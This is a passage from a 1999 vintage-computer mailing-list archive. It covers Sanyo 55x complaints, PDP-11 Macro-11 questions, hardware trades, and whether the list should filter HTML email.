if you were in a plane and caught above the cloads and then came down you had NO idea where you where since the winds could have pushed you in ANY direction away from your predicted location. One bridge, railroad, road, church steeple looks pretty much like another but Stonehenge is an ABSOULUTELY unique landmark! Joe > > >> I've never heard that one. Plenty of things like that were done in WW2, >> mostly to impress upon the public that 'there's a war on'. >> >> Both my parents (who lived through the war) assure me that Stonehenge was >> not moved, laid flat, or anything else in the war. >> >> Of course some things (stained glass windows, for example) were moved to >> protect them in the event of bombing. >> >> Anyway, stones lying flat in a field would also be a good landmark IMHO. >> Possibly even more visible. >> >> -tony >> > > >-- >Jim Strickland >jim@DIESPAMMERSCUMcalico.litterbox.com >----------------------------------------------------------------------- >Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? >----------------------------------------------------------------------- > From rigdonj at intellistar.net Mon Jan 18 20:40:35 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:16 2005 Subject: Disasters and Recovery In-Reply-To: <199901182251.PAA11070@calico.litterbox.com> References: Message-ID: <3.0.1.16.19990118204035.3e9f22fe@intellistar.net> >> >> > >> > But where can you find a drive that can read a sheep? >> >> You mean you've not come across baa-code readers :-) Aren't zebras bar-coded ponys? Not even signing my name! From dogas at leading.net Mon Jan 18 18:34:42 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:16 2005 Subject: older operating systems and... Message-ID: <01be4343$81880f00$dec962cf@devlaptop> From: John Foust >It looks like one of their founders or primary programmers >is now at an embedded OS company as seen at >. Thanks John, I got some emailing to do... - MIke: dogas@leading.net From gram at cnct.com Mon Jan 18 18:49:40 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:16 2005 Subject: Famous quotes(4 drives on a PC) (was:: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade)) References: <199901181906.OAA15635@hiway1.exit109.com> Message-ID: <36A3D6A4.A35CB533@cnct.com> John Ruschmeyer wrote: > > > Nice, and sounds good, but often (as here found) just a > > modern, urban legend - the IBM twist was just a genius > > thing to keep part storage and maintainance costs low - > > with the twisted cable you _can't_ install a wrong drive > > as add on, and you _don't_ need to check any jumper or > > what ever (supposed the drive is factory jumpered to #1) > > Those of us who own older Tandy's are well familiar with their > drive setup- jumper all drive selects and pull pins on the cable. > > Same problem, alternative solution. At least it let us have all four drives. (And let us continue with having four hard drives on one ST506 chain). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From brett at xnet.com Mon Jan 18 18:55:31 1999 From: brett at xnet.com (Brett Crapser) Date: Sun Feb 27 18:40:16 2005 Subject: Disasters and Recovery In-Reply-To: <36A352C2.9DA7FDAE@idirect.com> Message-ID: On Mon, 18 Jan 1999, Jerome Fine wrote: > The question is which system is more likely > to be able to run in 36 years: > (a) A real MicroPDP-11 > (b) Some sort of OS and hardware which can run W95 (A) is the answer - as (B) can not be done reliably even today 8-) > which is presently able to run the E11 PDP-11 emulator by John Wilson? Well I vote for the PDP-11 - get some spares and set them aside - every 5 years swap the spares in the machine to make sure they still work. Fix anything that doesn't - been working for me for 10 years... BC From allisonp at world.std.com Mon Jan 18 21:24:00 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:16 2005 Subject: Early Data Sheets Message-ID: <199901190324.AA16011@world.std.com> Marvin said: >Last night I was given (what I think is) another computer labeled Nicolet >Model XF44. It has two 5 1/4" floppies on the front along with a few other >controls/indicators labeled STORE, RECORD, RECALL, UNPROTECT, RECORD SEGMENT >UP/DOWN, and AUTOCYCLE. The size is about 4" high, 17" wide, and probably >20" deep. Anyone know what this is? Thanks. Marvin, This sounds a lot like one that I have, need two? Any way, it seem to be diskette storage for a Nicolet Model 4094 Digital Storage Oscilloscope. It's listed here: http://www.naptech.com/catLAOS1.htm ========================================= Doug Coward dcoward@pressstart.com Senior Software Engineer http://www.best.com/~dcoward Press Start Inc. http://www.pressstart.com Sunnyvale,CA Curator Museum of Personal Computing Machinery at http://www.best.com/~dcoward/museum ========================================= From rigdonj at intellistar.net Mon Jan 18 21:06:50 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:16 2005 Subject: IBM thingy! In-Reply-To: References: Message-ID: <3.0.1.16.19990118210650.3e9fc790@intellistar.net> At 04:18 PM 1/18/99 -0500, you wrote: >> Don't discard it or destroy it -- they are probably not all that easy to >> get, and I can imagine that one or more folks on this list might be >> interested in it. > >Yes! > Then make an offer for it or else it gets chopped for the 8" floppy drive and the nice box. I'm interested in HP & S100 stuff so I'll swap for anything along those lines. Joe From kevan at heydon.org Tue Jan 19 03:35:42 1999 From: kevan at heydon.org (Kevan Heydon) Date: Sun Feb 27 18:40:17 2005 Subject: Telnet into a TRS-80 Message-ID: Someone has a TRS-80 you can telnet into. It can only take one person at a time so you will have to wait your turn. http://www.searchlight.com/frank/milo.htm -- Kevan Collector of old computers: http://www.heydon.org/kevan/collection/ From kbd at ndx.net Mon Jan 18 22:46:48 1999 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:40:17 2005 Subject: Unibus boards for trade In-Reply-To: Message-ID: <000601be4366$b952f760$0a00000a@oemcomputer> Hi all, I have the following Unibus boards for trade if anyone needs them: M9313, M9202, M7793, M7793, M7258, M8396 The things I'm looking for are: RSTS docs (fiche OK) PDP hand books/programming cards MARCO11 manuals Misc RT11/RSX manuals (older OK) RCA1802 related stuff - Especially a manual and/or schematics for a Quest Super ELF. If you need one of the cards but don't have extras to trade, drop me a note and I'll send it to you at cost (but trades get first priority :-) Kirk From SUPRDAVE at aol.com Mon Jan 18 20:10:59 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:40:17 2005 Subject: Disasters and Recovery Message-ID: <9ab82f64.36a3e9b3@aol.com> << >> > But where can you find a drive that can read a sheep? >> >> You mean you've not come across baa-code readers :-) >> you must be feeling sheepish after that one-liner! From rhblake at bigfoot.com Tue Jan 19 04:44:54 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:17 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) References: <36A3B03D.1CCAF8EF@bigfoot.com> <3.0.1.16.19990118201048.3a974b18@intellistar.net> Message-ID: <36A46226.CADE10FA@bigfoot.com> Joe wrote: > At 05:43 PM 1/18/99 -0500, you wrote: > >Russ Blakeman [rhblake@bigfoot.com] wrote: > > > >> Sanyo MBC-55x-2 series had a 4 floppy controller but DOS saw only > >> A: and B: and it's hacked DOS used it quite well. The bum end of > >> it was that RAM disks and hard drives went to E: by defualt. An > >> aftermarket DOS (name escapes me now) > > DS-DOS by Michtron. I bought it. It was the buggiest piece of software > that I ever had the DIS-pleasure of owning! DS-DOS would let you use 80 > track 5 1/4" drives in the Sanyo and put 10 sectors on them. =800K per disk. Yup and you're right on the bugs but some of them were addressed in Soft Sector and I was able to rehack mine to work most of the time. I;m sure you're with me on selecting the 55x series the crappiest of all things called a computer ever. Babages' mechanical tabulator made the 55x series look substandard in my opinion. At least his tabulator worked right. I did learn a lot from it though, like never buy a Sanyo again. From rhblake at bigfoot.com Tue Jan 19 04:47:56 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:17 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) References: <3.0.1.16.19990118203349.3e9fc586@intellistar.net> Message-ID: <36A462DB.E166511C@bigfoot.com> I got mine to a 1.4 with the V20, probably because I had the overpriced CGA board and the piggybacked 768k memory hack using 100ns DRAMS instead of the 150's. I never did drop a V20/30 into any of my IBM's, they work fine the way they are. Joe wrote: > At 05:23 PM 1/18/99 -0600, you wrote: > > >> Faster? Are we talking about the same machine? The Sanyo had to be the > >> only clone that ever took IBM's pokey 4.77Mz clock and *reduced* it to > >> 3.58MHz! > > > >Mine was faster, after I dumped a $25 (then) NEC V20 into it while the PC > >stayed with it's original processor. > > SI reported .7 on my 550 compared to 1 on a PC. With the V20 the 550 > reported .8 to .9 . The PC reported ~1.2 to 1.3 with a V20. Even with a > V20 the Sanyo was still slower than the stock PC! > > Joe From rhblake at bigfoot.com Tue Jan 19 04:50:11 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:17 2005 Subject: Sanyo 55x detractors (I'm one!!!!) References: <000f01be4334$07828ff0$bb88e9cf@yamato.chipware.com> <3.0.1.16.19990118202933.3e9fdda4@intellistar.net> Message-ID: <36A46362.A2634A75@bigfoot.com> Joe wrote: > BTW one reason the Sanyo was the first (choke!) "compatible" machine on > the market and the reason that it had so many compatiblity problems was > that it was designed as a CPM machine and converted to MS-DOS at the last > moment. > I got a program from a Zenith later on in life with the Sanyo, and it ran CP/M great, MSDOS sucked (as posted so many times by all of us Sanyo fans). From rhblake at bigfoot.com Tue Jan 19 04:52:29 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:17 2005 Subject: Telnet into a TRS-80 References: Message-ID: <36A463EC.80A941DF@bigfoot.com> He's had that up forever and is the originator of the first versions of Searchlight BBS software which is now under control of telegrafix, the people that brought you RIPscript. It's kinda neat the way he has Milo hooked up but not direct as it's routed through his much faster server, something that's somewhat left out in the pages. Kevan Heydon wrote: > Someone has a TRS-80 you can telnet into. It can only take one person at a > time so you will have to wait your turn. > > http://www.searchlight.com/frank/milo.htm > > -- > Kevan > > Collector of old computers: http://www.heydon.org/kevan/collection/ From Hans.Franke at mch20.sbs.de Tue Jan 19 05:57:05 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:17 2005 Subject: OT- How to solve replying in HTML problem in Outlook Express In-Reply-To: <004001be426a$7c41b480$f564fea9@gaz> Message-ID: <199901191100.LAA04470@nixpbe.pdb.sni.de> > Many people have experienced problems when replying to messages sent in HTML > as Outlook replies using the format of the original. I'm not sure if this is > the same for Outlook Express 5, but in version 4.72 go to the Tools menu and > select Options. The options menu should appear. Click on Send and, second > from the bottom will be a tick box saying "Reply to message using format in > which they were sent." Deselect this and click APPLY. Now as long as you > have set all outgoing mails to be sent in text you will avoid flame wars > from angry CC subscribers. :) I'm not shure if derek has the aprobiate configuration privileges, but basicly it should be possible to use a small script (or programm) to strip all HTML tags from all mails processsed thru the list processor. Maybe the result is not beautifull, but at least more readable _if_ s.o. fails to stop his HTML sending. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Tue Jan 19 05:57:05 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:17 2005 Subject: Intel MCS-96 Design Kit In-Reply-To: <36A3B393.1915DB1@rain.org> Message-ID: <199901191100.LAA04473@nixpbe.pdb.sni.de> > > Its a development kit for the MCS96 series of CPU a hig integrated > > controller type CPU family - think of it like a mutant crossbreed > > of a 8051 and a 80386sx - fast, and realy interesting to programm. > I took a look at a piece of the sales literature, and it was dated 1984. > Are these things still used? Jep, _heavy_ used - like 8048 (et al) are also still used for new development in the low range - the MCS96 is some kind of mid (or now lower mid) range product for high data thruput. > > Hey, Marvin, If you don't like this beast, I spend my time in > > helping orphaned singleboarders :) > Well actually, this kit consists only of the chips and sales literature; the > data sheets have been removed although they might be in a batch of other > data sheets I picked up (I hope!) Ahh - I wasalready wondering why there are two CPUs. Gruss H. -- Traue keinem Menschen der 5 Tage blutet und immer noch nicht tod ist. From donm at cts.com Mon Jan 18 22:42:44 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:17 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: <3.0.1.16.19990118203846.3e9f6ff6@intellistar.net> Message-ID: On Mon, 18 Jan 1999, Joe wrote: > At 03:58 PM 1/18/99 -0700, you wrote: > >A recent program on Stonehenge on the Discovery channel said the RAF > wanted to > >level Stonehenge with explosives, but the person who owned the land they were > >on refused to let them. *boggle* Is it just me, or does all this suggest > >that in the 1930s and early 40s good maps were much harder to come by than > >today? I know the advent of satelite mapping has improved it, but you'd > think > >anyone planning to invade England would have gone there in 1938 and just > >BOUGHT maps. > > > The problem wasn't the maps, it was the fact that if you were in a plane > and caught above the cloads and then came down you had NO idea where you > where since the winds could have pushed you in ANY direction away from your > predicted location. One bridge, railroad, road, church steeple looks > pretty much like another but Stonehenge is an ABSOULUTELY unique landmark! > > Joe Well, except perhaps for the concrete replica in the Columbia River Valley. - don > > > > > > >> I've never heard that one. Plenty of things like that were done in WW2, > >> mostly to impress upon the public that 'there's a war on'. > >> > >> Both my parents (who lived through the war) assure me that Stonehenge was > >> not moved, laid flat, or anything else in the war. > >> > >> Of course some things (stained glass windows, for example) were moved to > >> protect them in the event of bombing. > >> > >> Anyway, stones lying flat in a field would also be a good landmark IMHO. > >> Possibly even more visible. > >> > >> -tony > >> > > > > > >-- > >Jim Strickland > >jim@DIESPAMMERSCUMcalico.litterbox.com > >----------------------------------------------------------------------- > >Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? > >----------------------------------------------------------------------- > > > > From Ricardo_Santos at schneiderelectric.es Tue Jan 19 01:28:35 1999 From: Ricardo_Santos at schneiderelectric.es (Ricardo_Santos@schneiderelectric.es) Date: Sun Feb 27 18:40:17 2005 Subject: No subject Message-ID: <412566FE.0028E806.00@atesbcn0.schneiderelectric.es> From dpeschel at u.washington.edu Tue Jan 19 05:34:26 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:40:17 2005 Subject: OT- How to solve replying in HTML problem in Outlook Express In-Reply-To: <199901191100.LAA04470@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 19, 99 11:58:05 am Message-ID: <199901191134.DAA13177@saul7.u.washington.edu> > I'm not shure if derek has the aprobiate configuration privileges, > but basicly it should be possible to use a small script (or programm) > to strip all HTML tags from all mails processsed thru the list processor. Well, I could set up the list like this: - I can approve/discard any message - I can alter any message (as opposed to approving it unaltered) And then my script could alter messages automatically. However, I don't think that's a good idea. The junk resulting from stripping the HTML tags would be worse than the HTML itself. It might be a better idea to reject HTML messages. I've been tempted to do that... I think the problem of HTML messages is much worse than the problem of off-topic discussions, in fact. But is it possible that some members might not be able to reconfigure their mailers for plain text? (I'm not saying they might not know how, I'm saying they might not be able to do it no matter how much they want to or how smart they are.) -- Derek From jpl15 at netcom.com Tue Jan 19 00:06:12 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:17 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Mon, 18 Jan 1999, Tony Duell wrote: > > > > But where can you find a drive that can read a sheep? > > You mean you've not come across baa-code readers :-) > > -tony > My Gawd, Tony..... how dare ewe???? J From rigdonj at intellistar.net Mon Jan 18 20:54:22 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:17 2005 Subject: Sanyo 16LT In-Reply-To: <001901be4329$ba397380$c595fea9@rob> Message-ID: <3.0.1.16.19990118205422.2f0f4aa0@intellistar.net> At 09:30 PM 1/18/99 -0000, you wrote: >I have recently aquired the above notepad computer I wonder if anyone has any I used a Sanyo for years and used to keep up with their stuff but I've never heard of one. How old is it? Can you post a picture? Joe From brett at xnet.com Mon Jan 18 19:49:13 1999 From: brett at xnet.com (Brett Crapser) Date: Sun Feb 27 18:40:17 2005 Subject: VT220's (fwd) Message-ID: ---------- Forwarded message ---------- From: "Adrien K. Verbrugghen" Newsgroups: alt.sys.pdp11 Subject: vt220 Date: Mon, 18 Jan 1999 08:59:58 -0800 I have several vt220/kbd sets which I need to dispose of - anyone want them? Seattle area. -A. -- end of forwarded message -- Email Adrien directly please 8-) BC From rigdonj at intellistar.net Tue Jan 19 08:29:49 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:17 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: References: <3.0.1.16.19990118203846.3e9f6ff6@intellistar.net> Message-ID: <3.0.1.16.19990119082949.2f0fa9de@intellistar.net> At 08:42 PM 1/18/99 -0800, don wrote: >On Mon, 18 Jan 1999, Joe wrote: > >> At 03:58 PM 1/18/99 -0700, you wrote: >> >A recent program on Stonehenge on the Discovery channel said the RAF >> wanted to >> >level Stonehenge with explosives, but the person who owned the land they were >> >on refused to let them. *boggle* Is it just me, or does all this suggest >> >that in the 1930s and early 40s good maps were much harder to come by than >> >today? I know the advent of satelite mapping has improved it, but you'd >> think >> >anyone planning to invade England would have gone there in 1938 and just >> >BOUGHT maps. >> > >> The problem wasn't the maps, it was the fact that if you were in a plane >> and caught above the cloads and then came down you had NO idea where you >> where since the winds could have pushed you in ANY direction away from your >> predicted location. One bridge, railroad, road, church steeple looks >> pretty much like another but Stonehenge is an ABSOULUTELY unique landmark! >> >> Joe > >Well, except perhaps for the concrete replica in the Columbia River Valley. Geez, are you that lost Don? Joe From rhblake at bigfoot.com Tue Jan 19 04:45:47 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:17 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) References: <000f01be4334$07828ff0$bb88e9cf@yamato.chipware.com> <3.0.1.16.19990118201458.2f0fe060@intellistar.net> Message-ID: <36A4625A.B021D9EE@bigfoot.com> You read my mind on this one, see my previous message. Joe wrote: > I nominate the Sanyo 550 series computers as THE worst computer ever sold > in the US! > > I also nominate the Sanyo 550 computers has having THE worst > documentation of any computer ever sold in the US! > > Any seconds? > > Joe From ard at p850ug1.demon.co.uk Mon Jan 18 19:10:38 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:17 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: <3.0.1.16.19990118201458.2f0fe060@intellistar.net> from "Joe" at Jan 18, 99 08:14:58 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 660 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990119/8f387fd2/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 18 18:51:29 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:17 2005 Subject: Early Data Sheets In-Reply-To: <36A3BF3E.B8545FD@rain.org> from "Marvin" at Jan 18, 99 03:09:50 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1022 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990119/cba94569/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 18 18:46:59 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:17 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: <199901182258.PAA11136@calico.litterbox.com> from "Jim Strickland" at Jan 18, 99 03:58:51 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1005 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990119/a3898c53/attachment.ksh From dastar at ncal.verio.com Mon Jan 18 21:08:41 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:17 2005 Subject: Early Data Sheets In-Reply-To: <36A3BF3E.B8545FD@rain.org> Message-ID: On Mon, 18 Jan 1999, Marvin wrote: > I am just curious if anyone else is keeping semiconductor data sheets and > data books from the early days? In checking though some stuff that was Yes. I make it a point to grab every old data book I can find. The older the better of course. I've got quite a collection by now. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From healyzh at aracnet.com Tue Jan 19 00:26:06 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:17 2005 Subject: Macro-11 Message-ID: I've been going through some of my manuals, and in looking at the Macro-11 manuals it looks as if they're pretty much written with the intention of being used with any of the DEC OS's. Is Macro-11 pretty much the same across the various platforms or what? If so, what makes a program written in Macro-11 a RT-11 program instead of a RSX-11M program other, than the way that it is linked? Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From dastar at ncal.verio.com Mon Jan 18 21:13:00 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:17 2005 Subject: Apple II FAQ location? In-Reply-To: <002c01be4342$9c018380$e0e5fea9@mainoffice> Message-ID: On Mon, 18 Jan 1999, Richard A. Cini, Jr. wrote: > Now that Nathan Mates is no longer maintaining the Apple II FAQ, who is? > I just wanted to update the local copies of some of my FAQs. Check the Vintage Computer Festival links page under the Apple II section. There are pointers there to the FAQs (or pages that have the FAQs). http://www.vintage.org/vcf/vcflinks.htm Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From ard at p850ug1.demon.co.uk Mon Jan 18 19:14:41 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:17 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: <3.0.1.16.19990118203846.3e9f6ff6@intellistar.net> from "Joe" at Jan 18, 99 08:38:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 749 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990119/bbfb107a/attachment.ksh From Hans.Franke at mch20.sbs.de Tue Jan 19 08:19:27 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:17 2005 Subject: OT- How to solve replying in HTML problem in Outlook Express In-Reply-To: <199901191134.DAA13177@saul7.u.washington.edu> References: <199901191100.LAA04470@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 19, 99 11:58:05 am Message-ID: <199901191322.NAA07001@nixpbe.pdb.sni.de> > > I'm not shure if derek has the aprobiate configuration privileges, > > but basicly it should be possible to use a small script (or programm) > > to strip all HTML tags from all mails processsed thru the list processor. > Well, I could set up the list like this: > - I can approve/discard any message Please not ? > - I can alter any message (as opposed to approving it unaltered) You like heavy work ? > And then my script could alter messages automatically. Better :) > However, I don't think that's a good idea. The junk resulting from > stripping the HTML tags would be worse than the HTML itself. I don't know, I had a similar programm running to extract wordlists from the web, and the result was surpiringly good readable (ok, line breaks are random). Every HTML tag was replaced by a single space character (x'20') - this might be enhanced by only insert a space if there is no other space. > It might be a better idea to reject HTML messages. I've been tempted to do > that... I think the problem of HTML messages is much worse than the problem > of off-topic discussions, in fact. Jep, complete agree. But when start to reject ? As soon as a single HTML tag is inserted ? Then we cant even discuss about a certain feature (and HTML will soon be on topic as classic :). Or only reject when there is a sytactical correct beginning (< HTML >) ? Then some of the 'random' insertiations are _not_ to be rejected. Rejection isn't a technical problem, but rather the definition _when_ to reject. > But is it possible that some members > might not be able to reconfigure their mailers for plain text? (I'm not > saying they might not know how, I'm saying they might not be able to do it > no matter how much they want to or how smart they are.) Thats the oter thing - as Ward (?) described, there are some ISP/software combinations where the user has no choice other than accept it or go berserk. Until now, I can only see the HTML elimination as a first step to reduce the noise. Gruss H. -- Ich denke, also bin ich, also gut HRK From rigdonj at intellistar.net Mon Jan 18 20:50:03 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:17 2005 Subject: Visual Technology Commuter "portable" In-Reply-To: <000401be433e$d1444c20$0180a8c0@zeus> Message-ID: <3.0.1.16.19990118205003.2f0f491e@intellistar.net> At 05:12 PM 1/18/99 -0600, you wrote: >My brother-in-law has found a Visual Technology Commuter >"portable" at a local thrift. It's operational and runs >PC-DOS 3.10, for which its previous owner thoughtfully >included a boot diskette. > >This machine has an LCD display, and two 1/2 height >black face 5.25" floppy drives and 512K of RAM. Despite >a diligent internet search, this is all we know. > >Does anyone here have any fond memories and/or pointers >to more information on this machine? Do you mean that huge portable with the black handle that turns into something similar to tar? If so, I have one and I've been offered another. My Visual portable has a tip up screen about half the size of the machine but only has a tiny LCD screen in it. The plug for the screen on mine is bad but it works with a regular monitor. The other machine & screen works fine. I think I have a copy of the original disk, but I know I don't have any docs. Joe From Jgzabol at aol.com Mon Jan 18 18:52:39 1999 From: Jgzabol at aol.com (Jgzabol@aol.com) Date: Sun Feb 27 18:40:17 2005 Subject: y2k stuff Message-ID: In einer eMail vom 13.01.1999 07:49:30, schreiben Sie: << John G. Zabolitzky wrote: > 6 bit characters were quite the standard BEFORE /360 days, say for > CDC 6600, CDC 7600 (the most powerful computers from mid-60s until > the appearance of the CRAY-1 machines, forerunners of the Cyber 170 series), > or IBM 7030, IBM 7090, IBM 7094 say, back in the '60s. > They were not called bytes, and could not be addressed directly; > there were 36 bit or 60 bit words, and shift / logical instructions used for > character manipulation. In fact this is probably the origin for the > six character namelength limit in FORTRAN IV : 6 chars x 6 bits = 36 bit word. Eric Smith wrote: All generally correct except for the 7030 (Stretch). Stretch used variable-length fields from 1 to 64 bits, and its native character set used 8 bits. The integer arithmetic instructions, however, were specificially designed to be useful on character data types from 4 to 8 bits. http://www.brouhaha.com/~eric/retrocomputing/stretch/ >> It seems I got these IBM model numbers confused. I think I meant the 7040 (and of course we can go back to the earlier tube computers, 704 and 709). Eric, you seem to have quite some info on the Stretch; do you have any source of (original or other doc) on this or the other early IBM computers ? There is of course the book by Bashe et al, but I find it difficult to locate more info. John G. Zabolitzky From mbg at world.std.com Tue Jan 19 08:12:22 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:17 2005 Subject: Macro-11 Message-ID: <199901191412.AA02668@world.std.com> >I've been going through some of my manuals, and in looking at the >Macro-11 manuals it looks as if they're pretty much written with the >intention of being used with any of the DEC OS's. Is Macro-11 pretty >much the same across the various platforms or what? >If so, what makes a program written in Macro-11 a RT-11 program instead >of a RSX-11M program other, than the way that it is linked? Let me answer the second question first, since it will be part of the answer for the first question. Each of the PDP-11 OSes have programmed requests/system calls/whatever, which perform the operations for the user which are specific to that OS. A pure MACRO-11 program might have nothing in it which ties it to a given OS. But generally, programs are written for a specific OS, since you'll probably want to do I/O or get certain info from the OS itself. For example, RT-11 has programmed requests. These are EMTs which, when executed, cause entry to the OS, which expects the arguments for the function to be structured in a certain way and located in certain places (for example the stack). The various calls like .DATE, .READC, .MRKT, etc... are actually macros which are defined in some sort of system macro definition file, which is automatically included during the assembly process. For RT-11, this is the file SYSMAC.SML, located on the system volume, SY: In later releases of RT, there was also a much more complete structure definition file, SYSTEM.MLB, which could be used to reliably define structures used by RT-11. RSX and RSTS have their own set of macros defined which expand into code which ultimately execute and EMT, which is processed in a certain way by those OSes. Now, given that answer -- MACRO-11 is conditionalized in such a way that it can be built to issue those calls appropriate for the system you are building it for. MACRO-11 on RT-11 issues RT-11 programmed requests to read from the source file and write to the object file. MACRO-11 on RSX-11 issues RSX-11 system calls, etc... The heart of MACRO is the same regardless of which system, but the peripheral routines do what is appropriate for the given OS, and they are governed by conditionals. Megan Gentry Former RT-11 Developer *Former MACRO-11 maintainer* +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From jim at calico.litterbox.com Tue Jan 19 00:07:29 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:17 2005 Subject: Disasters and Recovery In-Reply-To: from "Sam Ismail" at Jan 18, 1999 04:27:57 PM Message-ID: <199901190607.XAA12957@calico.litterbox.com> If they do, they're in for disappointment. From what I've read, THC, the active chemical in marajuana, is found primarily in the flowers and buds, not in the stems from which useful fibers are extracted. Also, hemp raised for fibers and not specifically for "recreational" use contains tiny amounts of THC. I'm told you could smoke a bushel of rope grade cannibus and get no noticable effect. My understanding is the primary reason the US government has outlawed hemp fiber is that it is the same *color* as cannibus destined to be smoked, which makes satelite and aircraft sweeps with cameras sensative to that specific color far less useful. It's idiotic, since hemp fiber could replace wood and other fibers in many applications (such as paper) with a far lower environmental cost. And no, I don't smoke it, or anything else. My two experiences with cigarettes convinced me I could find vices that hurt less. Like collecting old computers :) > b) some > futuristic pot-head capsule looters will raid it so they can smoke the > documentation. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From cdrmool at interlog.com Tue Jan 19 08:40:27 1999 From: cdrmool at interlog.com (Colan Mitchell) Date: Sun Feb 27 18:40:17 2005 Subject: Sanyo 16LT In-Reply-To: <3.0.1.16.19990118205422.2f0f4aa0@intellistar.net> Message-ID: Is that the black laptop? XT? If it is it came with Dos 3.3. Useless LCD monitor (I had to buy always work with a good light behind me to be able to work on it). Eventually the battery, which was also wonky, broke down. I hated it. I don't believe it had a serial port either. Colan On Mon, 18 Jan 1999, Joe wrote: > At 09:30 PM 1/18/99 -0000, you wrote: > >I have recently aquired the above notepad computer I wonder if anyone has > any > > > I used a Sanyo for years and used to keep up with their stuff but I've > never heard of one. How old is it? Can you post a picture? > > Joe > From ckaiser at oa.ptloma.edu Tue Jan 19 08:55:36 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:17 2005 Subject: OT- How to solve replying in HTML problem in Outlook Express In-Reply-To: <199901191322.NAA07001@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 19, 99 02:20:27 